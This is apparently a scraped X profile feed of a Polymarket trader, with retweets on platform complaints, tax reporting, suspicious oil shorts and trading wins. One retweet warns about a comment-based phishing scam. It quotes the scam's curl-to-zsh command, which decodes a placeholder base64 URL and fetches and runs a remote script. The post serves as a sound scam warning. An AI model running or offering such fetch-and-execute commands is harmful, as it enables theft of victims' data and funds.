Part-time Polymarket trader. +485K PnL - total deposit since starting in July 2024 = 11K.

Joined October 2025
mombil retweeted
Polymarket is at its worst state in over a year and employees are patting themselves on the back Crazy how absurd the disconnect is between users and employees
1 month into @Polymarket and I can safely say I’ve never seen a more talented team being assembled. Everyone says they are product first but it’s easier said than done. We really are doing it here. Lots of cool new stuff coming alongside countless improvements to the existing platform
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mombil retweeted
Winning is great, until tax season hits lol A question I keep hearing from Polymarket traders: "How do I proof to the IRS (or my local equivalent) that what I report, is actually what I made?" @Betwick1, @Euanker and @mombil asked too, so I built a PDF transaction report tool powered by proprietary @PredictFolio data and helped them out. It gives @Polymarket traders a clean+verifiable report with PnL, volume, markets, activity, and transaction-level history. This probably won't become a PF product, but if you need a report, DM me. Glad to help out.
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mombil retweeted
Here’s what actually happened shortly before Axios announced the 14-point peace plan between Iran and the US and $1,000,000,000 in oil shorts were placed. At 3:44 AM ET, Iran’s FM announced a phone call between the foreign ministers of Iran and Saudi Arabia. At 4:50 AM ET, @BarakRavid published an article on Axios saying the US & Iran were close to a “14-point” deal. (1/4)
BREAKING: According to our analysis, ~$920 million worth of crude oil shorts were taken 70 minutes before an Axios report claimed the US and Iran were near a "14-point" deal to end the war. At 3:40 AM ET today, nearly 10,000 contracts worth of crude oil shorts were taken without any major news. This is equivalent to ~$920 million in notional value, an unusually large trade for 3:40 AM ET. At 4:50 AM ET, just 70 minutes later, Axios reported that the US is "close" to a "memorandum of understanding" to end the Iran War. By 7:00 AM ET, oil prices had fallen over -12% with these crude oil shorts gaining approximately +$125 million. Minutes later, Iran launched the "Persian Gulf Strait Authority" and oil prices surged +8%. What just happened?
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mombil retweeted
People have lost more than $500,000 by being scammed through Polymarket comments. I am posting this to raise awareness of the growing issue. They say: "Why are you not trading on Polymarket private markets? The odds are always much better on there!" Here is how they try to steal your money: They begin by buying both Yes and No shares for a market from two separate accounts - so their comments still appear when the 'Holders' filter is enabled - and then post a URL to their site in an obfuscated form. On that site you're greeted by a clean-looking page with a Polymarket logo and are asked to log in via email. After you verify the email address (yes, they even send you a code), a new window pops up asking you to verify your activity - pretending to be Cloudflare: But when you click 'Copy', something completely different gets copied: curl -kfsSL $(echo 'ENCODED_STRING=='|base64 -d)|zsh You should never paste a command you don't understand into your terminal! The command first decodes the base64-encoded string (a server URL), then fetches a script from that server and immediately executes it. The script can contain anything, and there won't be any pop-up warning. By now, it's probably too late - at this point, there's not much you can do except, with some luck, turning off Wi-Fi. I won't go into detail about what the script does, but there is further obfuscation and additional scripts. In the end, they gather data, log everything on your system, and send a zip back to their server. They then use this data to log into your accounts and steal your money. They are very careful to hide everything, even after the initial obfuscation there is obfuscation at every step. I also noticed they shut down the server that sends payloads and receives logged data when there is no active victim. Here are the scammers' wallet addresses: DGiJqVHdygJ5wRivY9dMJB7TKTFZkoQ9VhhWRHBGtLKb 3hx7UWFABt9QoEKtqeWcDLvMRzbVXmrqHxEne6s7hXwN They appear to switch wallets frequently and have likely already created new ones, but someone might still glean useful information from these addresses. I think the best way to address this is to allow trusted users to review comments or to introduce a downvote system that hides heavily downvoted posts. The simple warning Polymarket currently displays won't be enough, but I'm confident they'll find a good solution.
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A decent fastclick closes this week for me. Y'all have great weekend :)
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Take a look at some of the biggest wins on @Polymarket this week! 🤯 $12,000 by @mombil on the Gaza ceasefire
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